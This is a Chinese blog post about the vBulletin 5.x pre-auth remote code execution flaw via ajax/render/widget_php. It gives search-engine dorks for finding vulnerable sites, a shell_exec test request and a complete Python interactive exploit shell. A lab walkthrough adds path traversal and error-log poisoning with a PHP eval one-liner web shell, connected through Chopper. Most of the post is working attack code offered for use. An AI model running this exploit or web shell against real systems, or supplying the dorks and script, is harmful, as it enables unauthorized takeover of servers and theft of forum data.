美文网首页
vBulletin 5.x 远程代码执行漏洞 (CVE-2019

vBulletin 5.x 远程代码执行漏洞 (CVE-2019

作者: migrate_ | 来源:发表于2020-08-21 15:24 被阅读0次
这个漏洞很早就出了,之前没怎么关注,最近偶然遇上了,找到了一些监测和利用方法特此记录
  • 漏洞详情

漏洞通过请求ajax/render/widget_php进行模板注入触发代码执行。
  • 漏洞范围

5.0.0 <= vBulletin <=5.5.4
  • 目标靶机

google语法:
site:*.vbulletin.net
Powered by vBulletin
FOFA:
content="vBulletin"
app="vBulletin"
  • 漏洞检测

请求
http://url/index.php?routestring=ajax/render/widget_php
post
widgetConfig[code] = echo shell_exec('whoami'); exit;
1.jpg
  • EXP(python2 vBulletin.py url)

#!/usr/bin/python
#
# vBulletin 5.x 0day pre-auth RCE exploit
# 
# This should work on all versions from 5.0.0 till 5.5.4
#
# Google Dorks:
# - site:*.vbulletin.net
# - "Powered by vBulletin Version 5.5.4"

import requests
import sys

if len(sys.argv) != 2:
    sys.exit("Usage: %s <URL to vBulletin>" % sys.argv[0])

params = {"routestring":"ajax/render/widget_php"}

while True:
     try:
          cmd = raw_input("vBulletin$ ")
          params["widgetConfig[code]"] = "echo shell_exec('"+cmd+"'); exit;"
          r = requests.post(url = sys.argv[1], data = params)
          if r.status_code == 200:
               print r.text
          else:
               sys.exit("Exploit failed! :(")
     except KeyboardInterrupt:
          sys.exit("\nClosing shell...")
     except Exception, e:
          sys.exit(str(e))

  • 实验环境

https://www.ichunqiu.com/experiment/detail?id=60507&source=1
步骤一 172.16.12.2/vb5/index.php
步骤二 172.16.12.2/vb5/index.php?routestring=.\\
步骤三 172.16.12.2/phpinfo.txt
步骤四 172.16.12.2/vb5/index.php?routestring=\\..\\..\\..\\..\\..\\..\\phpstudy\\WWW\\phpinfo.txt
步骤五 Apache的错误访问日志(error.log),这个日志文件在phpstudy中的路径为: \phpstudy\apache\logs\error.log
我们构造一个会报错的访问链接,将利用代码(PHP一句话)写入错误日志记录中。
步骤六 http://172.16.12.2/vb5/index.php<?php @eval($_POST[c]);?>
这个链接直接访问的话,一句话会被编码成%3C?php%20@eval($_POST[c]);?%3E,所以需要使用Burp suite改一下包,还原成<?php @eval($_POST[c]);?>
步骤七 菜刀连接 http://172.16.12.2/vb5/index.php?routestring=\\..\\..\\..\\..\\..\\..\\phpstudy\\apache\\logs\\error.log 密码c

相关文章

网友评论

      本文标题:vBulletin 5.x 远程代码执行漏洞 (CVE-2019

      本文链接:https://www.haomeiwen.com/subject/ymbujktx.html